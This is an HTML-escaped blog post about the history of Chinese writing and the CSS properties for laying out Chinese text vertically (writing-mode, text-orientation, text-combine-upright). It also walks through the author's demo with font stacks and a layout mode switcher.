&lt;blockquote&gt;
&lt;p&gt;中国文字的横排横写，是发展趋势。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 19th and 20th centuries was a tumultuous time for China, and the aforementioned New Cultural Movement not only triggered a pivot in text layout, it also saw the introduction of simplified glyphs. 钱玄同 (Qian Xuantong), who was one of the key figures of the New Cultural Movement, played a pivotal role in this endeavour. As a result, we now have 2 &amp;quot;versions&amp;quot; of Chinese glyphs, simplified and traditional. The former used widely in China and Singapore, while the latter is commonly used in Taiwan, Hong Kong and somewhat in Malaysia.&lt;/p&gt;
&lt;h2 id=&quot;research-triggered-brain-dump&quot;&gt;Research-triggered brain dump &lt;small&gt;&lt;a href=&quot;#chinese-fonts-offline-and-online&quot;&gt;(skip to next section)&lt;/a&gt;&lt;/small&gt;&lt;/h2&gt;
&lt;p&gt;As mentioned, I seem to be awfully fond of going down rabbit holes and often barely 20% of what I read and discover end up in the article. What started out as a brief foray into the history of Chinese writing ended up becoming a deep dive into how the world ended up the way it is. There are a lot of ideas that popped into my head during this process and I&apos;m just going to dump them here. Feel free to skip forward (but &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face blowing a kiss&quot;&gt;😘&lt;/span&gt; if you read through).&lt;/p&gt;
&lt;h3&gt;Do you AU?&lt;/h3&gt;
&lt;p&gt;My understanding about the history of computing came from reading books and watching the odd documentary. Recently, &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; posted &lt;a href=&quot;https://twitter.com/jensimmons/status/785148900327981056?lang=en&quot;&gt;a tweet&lt;/a&gt; asking about graphic design resources from a non-American perspective. This got me thinking. I suppose the reason for vertical scrolling is because the Western world had a step up, a first-mover advantage, if you will, when it came to digital.&lt;/p&gt;
&lt;p&gt;But why was that? Why didn&apos;t the Industrial Revolution happen in China, given that it was comparably developed back during the 18th century. A couple papers I read proposed some theories I found pretty thought-provoking.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://voxeu.org/article/why-china-missed-industrial-revolution&quot;&gt;Before the Great Divergence: The modernity of China at the onset of the industrial revolution&lt;/a&gt; by &lt;a href=&quot;http://www.uu.nl/staff/JLvanZanden/0&quot;&gt;Jan Luiten van Zanden&lt;/a&gt; proposed that China didn&apos;t &apos;miss&apos; the Industrial Revolution. Rather, it did not need it at the time. China was one of the most technologically advanced civilisations for a large swath of human history, and perhaps this may have been its disadvantage as well. Innovation is often borne from necessity, and I&apos;d like to think that the Chinese invention of printing was a prime example of that kind of innovation.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;毕昇插图&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/zh-type/bisheng.jpg&quot; srcset=&quot;/images/posts/zh-type/bisheng@2x.jpg 2x&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;FYI, printing was invented by 毕昇 (Bi Sheng) during the Song dynasty. Not much is known about the details of his life, but it seemed he worked at a print shop. It was there he created the first movable type system using clay types.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Imagine an alternate universe where Eastern culture reigned supreme. How would we code if Chinese was the universally used language of choice. I find this almost as abstract as imagining higher dimensions. Because I&apos;m already so anchored by code being written in alphabets, I wonder how code would have been written using a logographic writing system. Perhaps the keyboard wouldn&apos;t be the primary input mechanism at all. How differently would the world have developed?&lt;/p&gt;
&lt;h3&gt;Punctuate what?&lt;/h3&gt;
&lt;p&gt;I also wandered down the rabbit hole of punctuation, largely because I often swap between Chinese and English when messaging my friends and punctuation using Chinese language input is mono-spaced. I use the ellipsis way too much than I should and end up switching inputs simply to type in 3 periods in my Chinese conversation. So I wondered if Chinese language originally had punctuation to begin with. As far as I knew, the ancient scrolls I saw in museum exhibits never had commas or periods.&lt;/p&gt;
&lt;p&gt;Traditionally, Chinese was written in its classical form, known as 文言文 (possibly translated as Literary Chinese, I think). Its beauty is in that a lot of meaning can be expressed in very few words. Punctuation was generally not required as the necessary pauses could be inferred from standardised sentence structures and phrases used, giving a natural cadence when read.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;戏本子&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/zh-type/punctuation.jpg&quot;
    srcset=&quot;/images/posts/zh-type/punctuation@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;As the language evolved, the spoken version of Chinese started to diverge from this classical style and eventually became quite distinct. Even though some well-known novels like 红楼梦 (Dream of the Red Chamber) and 西游记 (Journey to the West) were written in vernacular Chinese, formal texts were written in classical Chinese. Hence, a majority of the population who weren&apos;t educated in classical Chinese could not understand much of the printed texts.&lt;/p&gt;
&lt;p&gt;Part of the New Cultural Movement also involved the spread of vernacular Chinese as the mainstream form of written Chinese, in a bid to increase literary rates among the people. As much of this linguistic development was modelled after Western doctrines, punctuation found its way into written Chinese texts.&lt;/p&gt;
&lt;h2 id=&quot;chinese-fonts-offline-and-online&quot;&gt;Chinese fonts offline and online &lt;small&gt;&lt;a href=&quot;#laying-out-chinese-fonts&quot;&gt;(skip to next section)&lt;/a&gt;&lt;/small&gt;&lt;/h2&gt;
&lt;p&gt;The details are fuzzy to me now, but I do recall hours spent troubleshooting why Chinese wouldn&apos;t display correctly on the various computers I was tasked to fix years ago. Text would appear as 乱码 or 豆腐, each character displayed as a rectangular block instead of legible text. Chinese input was sketchy on Windows 95, so we used a software called Chinese Star instead.&lt;/p&gt;
&lt;p&gt;Chinese language support nowadays is pretty good IMHO, and I can&apos;t remember having to explicitly troubleshoot display issues in recent years. Although I read and write Chinese quite often on my PC, I don&apos;t actually use any Chinese software applications, so if you have issues with those, check out &lt;a href=&quot;http://www.pinyinjoe.com/windows-8/win8-chinese-intro.htm&quot;&gt;Pinyin Joe&apos;s Chinese Computing Help Desk&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A common term when discussing Chinese fonts is CJK, which simply stands for Chinese/Japanese/Korean fonts. Adobe developed the CID-keyed font file format for fonts with large character sets, and CJK fonts were derived from this technology. A typical professional Chinese font has around 20,000 glyphs, give or take a couple thousand, which explains why most Chinese font files measure in the megabyte range. This also makes using custom fonts online quite a challenge.&lt;/p&gt;
&lt;p&gt;My go-to resource for all things Chinese fonts online is UI consultant, &lt;a href=&quot;http://www.kendraschaefer.com/&quot;&gt;Kendra Schaefer&lt;/a&gt;. She wrote very comprehensive posts on &lt;a href=&quot;http://www.kendraschaefer.com/2012/06/chinese-standard-web-fonts-the-ultimate-guide-to-css-font-family-declarations-for-web-design-in-simplified-chinese/&quot;&gt;using Chinese web fonts on her own blog&lt;/a&gt; and &lt;a href=&quot;https://webdesign.tutsplus.com/articles/the-complete-beginners-guide-to-chinese-fonts--cms-23444&quot;&gt;a complete primer to Chinese typography for Sitepoint&lt;/a&gt;. You should really read them. If you want to use Chinese web fonts for your project, she&apos;s got you covered.&lt;/p&gt;
&lt;h2 id=&quot;laying-out-chinese-fonts&quot;&gt;Laying out Chinese fonts &lt;small&gt;&lt;a href=&quot;#lets-build-a-demo&quot;&gt;(skip to next section)&lt;/a&gt;&lt;/small&gt;&lt;/h2&gt;
&lt;p&gt;But we want to talk about layout for Chinese fonts, using CSS. The &lt;a href=&quot;https://drafts.csswg.org/css-writing-modes-3/&quot;&gt;CSS Writing Modes Level 3 module&lt;/a&gt; covers CSS support for various international writing modes, from left-to-right, right-to-left, bidirectional and vertical. The specification has some terminology that describes the flow of text for writing systems.&lt;/p&gt;
&lt;h3&gt;Basic terminology&lt;/h3&gt;
&lt;p&gt;The &lt;strong&gt;inline base direction&lt;/strong&gt; refers to the direction that content is ordered on a line, and defines where the line starts and ends. This post&apos;s inline base direction is left-to-right. The &lt;code&gt;direction&lt;/code&gt; property, the &lt;code&gt;unicode-bidi&lt;/code&gt; property (more on this later) and the inherent directionality of any text content will dictate the ordering of inline-level content within a line.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;block flow direction&lt;/strong&gt; refers to the direction block-level boxes stack and the direction of this stacking within their container. The &lt;code&gt;writing-mode&lt;/code&gt; property dictates the block flow direction. So for this post, the block flow direction is top-to-bottom.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Vertical left-to-right&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/zh-type/v-ltr.svg&quot; alt=&quot;&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Vertical right-to-left&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/zh-type/v-rtl.svg&quot; alt=&quot;&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Horizontal left-to-right&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/zh-type/h-ltr.svg&quot; alt=&quot;&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;strong&gt;typographic mode&lt;/strong&gt; is applicable to vertical scripts (think traditional Chinese or Japanese), and dictates if the text should have typographic conventions for vertical flow, which is different from a rotated horizontal script.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Vertical flow&lt;/figcaption&gt;
        &lt;svg width=&quot;1em&quot; viewBox=&quot;0 0 24 262&quot;&gt;&lt;text fill=&quot;#000&quot; fill-rule=&quot;evenodd&quot; font-size=&quot;24&quot;&gt;&lt;tspan x=&quot;0&quot; y=&quot;20&quot;&gt;马&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;50&quot;&gt;来&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;80&quot;&gt;西&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;110&quot;&gt;亚&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;140&quot;&gt;女&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;170&quot;&gt;子&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;200&quot;&gt;篮&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;230&quot;&gt;球&lt;/tspan&gt; &lt;tspan x=&quot;0&quot; y=&quot;260&quot;&gt;队&lt;/tspan&gt;&lt;/text&gt;&lt;/svg&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Rotated horizontal flow&lt;/figcaption&gt;
        &lt;svg width=&quot;1em&quot; viewBox=&quot;0 0 24 262&quot;&gt;&lt;text fill=&quot;#000&quot; fill-rule=&quot;evenodd&quot; transform=&quot;rotate(90 12 133.5)&quot; letter-spacing=&quot;6&quot; font-size=&quot;24&quot;&gt;&lt;tspan x=&quot;-123&quot; y=&quot;142&quot;&gt;马来西亚女子篮球队&lt;/tspan&gt;&lt;/text&gt;&lt;/svg&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;There are 2 writing modes, &lt;strong&gt;horizontal writing mode&lt;/strong&gt; has horizontal lines of text which flows from top to bottom, &lt;strong&gt;vertical writing mode&lt;/strong&gt; has vertical lines of text which can flow from left to right or right to left.&lt;/p&gt;
&lt;p&gt;Certain scripts, like those written in Arabic or Hebrew, have a bidirectional property, whereby characters or words on the same line of text have mixed directionality. It&apos;s quite common to have scripts interspersed with Latin characters, and this becomes rather tricky to render.&lt;/p&gt;
&lt;p&gt;Browsers utilise the &lt;a href=&quot;https://www.w3.org/International/articles/inline-bidi-markup/uba-basics&quot;&gt;Unicode Bidirectional Algorithm&lt;/a&gt; or &lt;em&gt;bidi algorithm&lt;/em&gt; to render text in the correct order. For Chinese, this is less applicable, so I won&apos;t cover it in detail.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;writing-mode&lt;/code&gt; property&lt;/h3&gt;
&lt;p&gt;This property dictates whether lines of text in a block are laid out horizontally or vertically, and the direction of these blocks. It is fully supported by all current browsers except Opera Mini.&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;horizontal-tb&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Text is rendered from &lt;em&gt;left-to-right&lt;/em&gt;, with a &lt;em&gt;top-to-bottom&lt;/em&gt; block flow direction. Both the writing-mode and typographic-mode are &lt;em&gt;horizontal&lt;/em&gt;. This is the default initial value.
    &lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;
    &lt;br /&gt;&lt;span&gt;从1987到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;vertical-rl&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Text is rendered from &lt;em&gt;top-to-bottom&lt;/em&gt;, with a &lt;em&gt;right-to-left&lt;/em&gt; block flow direction. Both the writing-mode and typographic-mode are &lt;em&gt;vertical&lt;/em&gt;.
    &lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;
    &lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-rl; height:3.5em;&quot;&gt;从1987到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;vertical-lr&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Text is rendered from &lt;em&gt;top-to-bottom&lt;/em&gt;, with a &lt;em&gt;left-to-right&lt;/em&gt; block flow direction. Both the writing-mode and typographic-mode are &lt;em&gt;vertical&lt;/em&gt;.&lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-lr; height:3.5em;&quot;&gt;从1987到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;sideways-rl*&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Text is rendered from &lt;em&gt;top-to-bottom&lt;/em&gt;, with a &lt;em&gt;right-to-left&lt;/em&gt; block flow direction. The writing-mode is &lt;em&gt;vertical&lt;/em&gt; but the typographic-mode is &lt;em&gt;horizontal&lt;/em&gt;, with the glyphs set sideways on their right side.&lt;br /&gt;&lt;small&gt;*Experimental value, may or may not continue to be in the specification&lt;/small&gt;&lt;br /&gt;&lt;strong&gt;Live example (only works in Firefox):&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;writing-mode:sideways-rl; height:3.5em;&quot;&gt;从1987到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;sideways-lr*&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Text is rendered from &lt;em&gt;top-to-bottom&lt;/em&gt;, with a &lt;em&gt;left-to-right&lt;/em&gt; block flow direction. The writing-mode is &lt;em&gt;vertical&lt;/em&gt; but the typographic-mode is &lt;em&gt;horizontal&lt;/em&gt;, with the glyphs set sideways on their left side.&lt;br/&gt;&lt;small&gt;*Experimental value, may or may not continue to be in the specification&lt;/small&gt;&lt;br /&gt;&lt;strong&gt;Live example (only works in Firefox):&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;writing-mode:sideways-lr; height:3.5em;&quot;&gt;从1987到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;&lt;code&gt;text-orientation&lt;/code&gt; property&lt;/h3&gt;
&lt;p&gt;A writing system can have either horizontal-only native orientation, vertical-only native orientation or be bi-orientational. Chinese, or the Han writing system is bi-orientational, which means text can be laid out vertically or horizontally. The specification contains a &lt;a href=&quot;https://www.w3.org/TR/css-writing-modes-3/#script-orientations&quot;&gt;list of scripts&lt;/a&gt; categorised by native orientation.&lt;/p&gt;
&lt;p&gt;Browsers assign all glyphs a horizontal orientation by default, and for vertical layouts, the user agent needs to transform the text to a vertical orientation. This transformation is known as the &lt;em&gt;bi-directional transform&lt;/em&gt; and there are 2 ways to do this, by rotation or by translation.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Rotate&lt;/figcaption&gt;
        &lt;svg width=&quot;50%&quot; viewBox=&quot;0 0 126 123&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;text fill=&quot;#000&quot; font-size=&quot;24&quot; letter-spacing=&quot;6&quot; transform=&quot;translate(-1 -5)&quot;&gt;&lt;tspan x=&quot;0&quot; y=&quot;25&quot;&gt;陈慧晶&lt;/tspan&gt;&lt;/text&gt;&lt;text fill=&quot;#000&quot; transform=&quot;rotate(90 117.5 87)&quot; font-size=&quot;24&quot; letter-spacing=&quot;6&quot;&gt;&lt;tspan x=&quot;70.5&quot; y=&quot;98.5&quot;&gt;陈慧晶&lt;/tspan&gt;&lt;/text&gt;&lt;g stroke=&quot;#979797&quot; stroke-width=&quot;4&quot; stroke-linecap=&quot;round&quot;&gt;&lt;path d=&quot;M79.345 73.185C79.345 53.753 63.52 38 44 38M72.997 70.02l5.97 5.972 5.998-5.997&quot;/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Translate&lt;/figcaption&gt;
        &lt;svg width=&quot;50%&quot; viewBox=&quot;0 0 126 124&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;text fill=&quot;#000&quot; font-size=&quot;24&quot; letter-spacing=&quot;6&quot; transform=&quot;translate(-1 -5)&quot;&gt;&lt;tspan x=&quot;0&quot; y=&quot;25&quot;&gt;陈慧晶&lt;/tspan&gt;&lt;/text&gt;&lt;text fill=&quot;#000&quot; font-size=&quot;24&quot; transform=&quot;translate(-1 -5)&quot;&gt;&lt;tspan x=&quot;103&quot; y=&quot;67&quot;&gt;陈&lt;/tspan&gt; &lt;tspan x=&quot;103&quot; y=&quot;97&quot;&gt;慧&lt;/tspan&gt; &lt;tspan x=&quot;103&quot; y=&quot;127&quot;&gt;晶&lt;/tspan&gt;&lt;/text&gt;&lt;g stroke=&quot;#979797&quot; stroke-width=&quot;4&quot; stroke-linecap=&quot;round&quot;&gt;&lt;path d=&quot;M76.396 74.396l-34.41-34.41M70.762 77.226h8.445v-8.483&quot;/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Most CJK characters translate, which means they always remain upright, and orientate correctly when laid out vertically. The &lt;code&gt;text-orientation&lt;/code&gt; property specifies the orientation of text within a line, and only apply to vertical typographic modes. There is no effect applied when writing-mode is set to &lt;code&gt;horizontal-tb&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;mixed&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Scripts that are horizontal-only will have their characters typeset sideways (rotated 90° clockwise) while vertical scripts will be typeset upright. This is the default initial value.&lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-rl; height:3.5em;&quot;&gt;从1987到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;upright&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;All text will be typeset upright, with each character in their standard horizontal orientation.
    &lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;
    &lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-rl; text-orientation:upright; height:3.5em;&quot;&gt;从&lt;span style=&quot;letter-spacing:-8px&quot;&gt;1987&lt;/span&gt;到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;sideways&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;All text will be typeset sideways (rotated 90° clockwise), as if in a horizontal layout.&lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-rl; text-orientation:sideways; height:3.5em;&quot;&gt;从1987到现在&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;&lt;code&gt;text-combine-upright&lt;/code&gt; property&lt;/h3&gt;
&lt;p&gt;This property also only applies to vertical writing modes. It combines multiple character glyphs into the space of a single typographic character unit. The most common use case for this is rendering dates, especially those for the Japanese or Taiwanese calendar (because their years are less than 4 digits long).&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;none&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Normal rendering. No special processing. This is the default initial value.
    &lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;
    &lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-rl; height:8.5em;&quot;&gt;民國101年7月22日&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;all&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Browser will attempt to fit all consecutive characters within the box so they take up the space of a single typographic character unit within the vertical line box.&lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-rl; height:8.5em;&quot;&gt;民國&lt;span style=&quot;text-combine-upright:all&quot;&gt;101&lt;/span&gt;年&lt;span style=&quot;text-combine-upright:all&quot;&gt;7&lt;/span&gt;月&lt;span style=&quot;text-combine-upright:all&quot;&gt;22&lt;/span&gt;日&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;digits &amp;lt;integer&amp;gt;*&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Browser will attempt to fit the number of digits specified so they take up the space of a single typographic character unit within the vertical line box. Default to &lt;em&gt;2&lt;/em&gt; if no integer is specified. Only integers in the range 2-4 are valid.&lt;br /&gt;&lt;small&gt;*Not supported by any browser at time of writing&lt;/small&gt;&lt;br /&gt;&lt;strong&gt;Live example:&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;writing-mode:vertical-rl; height:8.5em;&quot;&gt;民國&lt;span style=&quot;text-combine-upright:digits 3&quot;&gt;101&lt;/span&gt;年&lt;span style=&quot;text-combine-upright:digits&quot;&gt;7&lt;/span&gt;月&lt;span style=&quot;text-combine-upright:digits&quot;&gt;22&lt;/span&gt;日&lt;/span&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2 id=&quot;lets-build-a-demo&quot;&gt;Let&apos;s build a demo! &lt;small&gt;&lt;a href=&quot;#wrapping-up&quot;&gt;(skip to next section)&lt;/a&gt;&lt;/small&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.comdesignlab.com/typochina/&quot;&gt;Typochina&lt;/a&gt; is a research group out of &lt;a href=&quot;http://www.comdesignlab.com/&quot;&gt;Comdesign Lab&lt;/a&gt;, a design research institution established by the School of Design of Hunan University. They&apos;ve published a number of articles about the history, various resources and research on Han characters. If you can read Chinese, you definitely should check it out. I&apos;ve used the article &lt;a href=&quot;http://www.comdesignlab.com/typochina/chinese/archives/393&quot;&gt;文字的故事&lt;/a&gt; for this typographical experiment.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;
    Here be &lt;a href=&quot;https://huijing.github.io/zh-type&quot;&gt;the demo&lt;/a&gt;.
  &lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/zh-type/demo-640.jpg&quot;
    srcset=&quot;/images/posts/zh-type/demo-480.jpg 480w, /images/posts/zh-type/demo-640.jpg 640w, /images/posts/zh-type/demo-960.jpg 960w, /images/posts/zh-type/demo-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Demo screenshot&quot;
  /&gt;
&lt;/figure&gt;
&lt;h3&gt;Typographic styles for Chinese text&lt;/h3&gt;
&lt;p&gt;I came across this fantastic project called &lt;a href=&quot;http://hanzi.pro/manual/&quot;&gt;汉字标准格式&lt;/a&gt; which is a CSS typography framework optimised for Hanzi. For my demo, I didn&apos;t need such an extensive framework but I did use it for reference when it came to writing my own styles.&lt;/p&gt;
&lt;p&gt;My main source of reference was &lt;a href=&quot;https://www.w3.org/TR/clreq/#major_differences_between_horizontal_and_vertical_writing_modes&quot;&gt;W3C&apos;s Requirements for Chinese Text Layout&lt;/a&gt;. My typographic styles are very basic, covering fonts, line height, margins and spacing, without the use of any resets. I left most of the default browser styles in place.&lt;/p&gt;
&lt;p&gt;I also changed the text from Simplified Chinese to Traditional Chinese, this is more of a personal style preference. For Traditional Chinese fonts, the punctuation is positioned in the middle of the bounding box, while Simplified Chinese fonts have the punctuation skewed to the left-bottom corner. I felt it looked better for the punctuation to be centred for the vertical layout. Besides, it&apos;s more common to see Traditional Chinese laid out vertically than Simplified Chinese anyway.&lt;/p&gt;
&lt;p&gt;I found out that if you don&apos;t explicitly set a Traditional Chinese font, the punctuation will always be in the Simplified Chinese style (spent way too much time figuring this one out &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;loudly crying face&quot;&gt;😭&lt;/span&gt;). If you read the previous section on Chinese web fonts, you&apos;ll know that custom fonts are huge. So system fonts are preferable. I chose to use 黑体 (Chinese version of sans-serif) as the body font. Font stack looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;body {
  font-family: &amp;quot;Microsoft JhengHei&amp;quot;, &amp;quot;微軟正黑體&amp;quot;, &amp;quot;Heiti TC&amp;quot;, &amp;quot;黑體-繁&amp;quot;, sans-serif;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;line-height&lt;/code&gt; was set to 2, given that Chinese text is visually more dense, more breathing room is necessary. As per the layout requirements, &lt;code&gt;text-align&lt;/code&gt; was set to justify. Chinese fonts do not have italics, so for my figcaptions, I chose a different font family instead. I set the &lt;code&gt;line-height&lt;/code&gt; a little tighter for figcaptions, because there is less text there and also to differentiate them from the body copy a bit more.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;figcaption {
  font-family: &amp;quot;MingLiU&amp;quot;, &amp;quot;微軟新細明體&amp;quot;, &amp;quot;Apple LiSung&amp;quot;, serif;
  line-height: 1.5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cross-browser font support is a bit tricky when it comes to mobile devices, because it seems that there is no 宋体 (Chinese equivalent of serif) for iOS or Android. So that&apos;s that. This warrants further confirmation with someone more experienced than me, so I might update this part in future.&lt;/p&gt;
&lt;p&gt;The suggested line length for Latin-based scripts is around 45-75 characters per line, but for Chinese characters, that&apos;s a little too long. I found that around 30-40 characters per line works out quite well. I took some reference from print, in commonly seen book heights and line lengths for popular paperback novels.&lt;/p&gt;
&lt;h3&gt;Mode switcher? Anyone?&lt;/h3&gt;
&lt;p&gt;I also thought it&apos;d be interesting to add a mode switcher (seemed like a good idea at the time) so people can swap between horizontal and vertical layouts. This switcher would be on top of the page, the first element in the body. Naturally, when you toggle the layout, the switcher jumps to the right of the page instead. Fixing its position on the top left corner of the page was probably a better idea.&lt;/p&gt;
&lt;p&gt;The switcher utilises the checkbox hack to trigger the switch in writing-mode. After a LOT of experimenting, I ran into a couple of issues. Firstly, when the writing-mode changes from horizontal to vertical, the scrolling still starts from left to right. This means users see the end of the article when I switch to vertical right-to-left mode and need to scroll all the way to the right to get to the start of the content.&lt;/p&gt;
&lt;p&gt;Another issue was related to art-direction of the images on the page. I started off the design for a vertical layout, so my images were portrait-oriented (is that even a term?). But when the layout switches to horizontal mode, the images look out of place. I wish the picture element took writing-mode as a media query, but I suppose this use-case is quite niche. Who on earth would want to switch text orientation? &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person raising hand&quot;&gt;🙋&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;My end solution is more of a hack than a solution, but I categorised the images into 3 groups, rotatable, stackable and square. Let me explain. Rotatable means that the image works simply by rotating it 90 degrees. Stackable is actually 2 images that are stacked when vertical and side-by-side when horizontal, and square just means the image can be used for both vertical and horizontal layouts. As I said, this is a hack.&lt;/p&gt;
&lt;p&gt;Flexbox was pretty useful for my art direction problem. So for the stacked category of images, and activating flex-wrap to wrap on the vertical layout did the trick. I personally think all this will make much more sense if you refer to the &lt;a href=&quot;https://github.com/huijing/zh-type/blob/master/assets/scss/styles.scss&quot;&gt;source code for the demo&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;What started out as an article to explore the CSS writing mode property grew into an exploration of Chinese history and the key circumstances that led to the China that we know of today. But it also made me realise that a lot of the articles and books I read are very skewed towards western and American perspectives (not that it&apos;s a bad thing, just an observation).&lt;/p&gt;
